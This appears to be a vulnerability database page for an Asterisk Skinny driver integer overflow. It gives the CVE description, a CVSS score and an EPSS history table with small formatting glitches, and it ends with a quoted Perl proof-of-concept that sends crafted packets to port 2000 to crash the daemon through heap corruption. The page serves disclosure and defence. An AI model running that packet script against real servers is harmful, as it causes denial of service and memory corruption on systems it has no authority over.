CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Integer overflow in the get_input function in the Skinny channel driver (chan_skinny.c) in Asterisk 1.0.x before 1.0.12 and 1.2.x before 1.2.13, as used by Cisco SCCP phones, allows remote attackers to execute arbitrary code via a certain dlen value that passes a signed integer comparison and leads to a heap-based buffer overflow.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
47.94%
–
–
2022-07-17
–
–
47.94%
–
–
2022-07-24
–
–
47.94%
–
–
2022-10-02
–
–
47.94%
–
–
2023-03-12
–
–
–
96.87%
–
2023-04-02
–
–
–
96.86%
–
2023-05-14
–
–
–
96.86%
–
2023-06-18
–
–
–
96.72%
–
2023-07-23
–
–
–
96.88%
–
2024-06-02
–
–
–
96.88%
–
2024-06-02
–
–
–
96.88%
–
2024-06-30
–
–
–
96.78%
–
2024-09-15
–
–
–
96.8%
–
2024-12-22
–
–
–
96.3%
–
2025-02-16
–
–
–
96.35%
–
2025-01-19
–
–
–
96.3%
–
2025-02-16
–
–
–
96.35%
–
2025-03-18
–
–
–
–
88.84%
2025-03-30
–
–
–
–
88.84%
2025-03-30
–
–
–
–
88.84,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/perl
# Beyond Security
# Copyright Noam Rathaus <noamr@beyondsecurity.com>
#
# The following proof of concept causes the chan_skippy to crash in different locations and due to
# memory corruption as well as double free calls, this is based on the finding of
# Security-Assessment.com, and proves that the vulnerability is indeed exploitable and there...
#
use IO::Socket;
use strict;
my $target = "127.0.0.1";
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target, PeerPort => "2000");
unless ($remote) { die "cannot connect to skinny daemon on $target" }
my $packet = "A"x1000; #Causes *** glibc detected *** malloc(): memory corruption: 0x08175830 ***
my $packet = "\x30\xE0\x00\x00"."\x00\x00\x00\x00".("A"x1000); # *** glibc detected *** double free or corruption (!prev): 0x08184348 ***
my $packet = "\xE5\x03\x00\x00".("A"x996); # *** glibc detected *** double free or corruption (out): 0x08171740 ***
my $packet = "\xF0\xFF\xFF\xFF".("A"x996); # Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1494127696 (LWP 9909)]
#0xa76264cb in skinny_session (data=0x8183ee8) at chan_skinny.c:2896
#2896 memcpy(req, s->inbuf, letohl(*(int*)(s->inbuf))+8);
print $remote $packet;
# milw0rm.com [2006-10-19]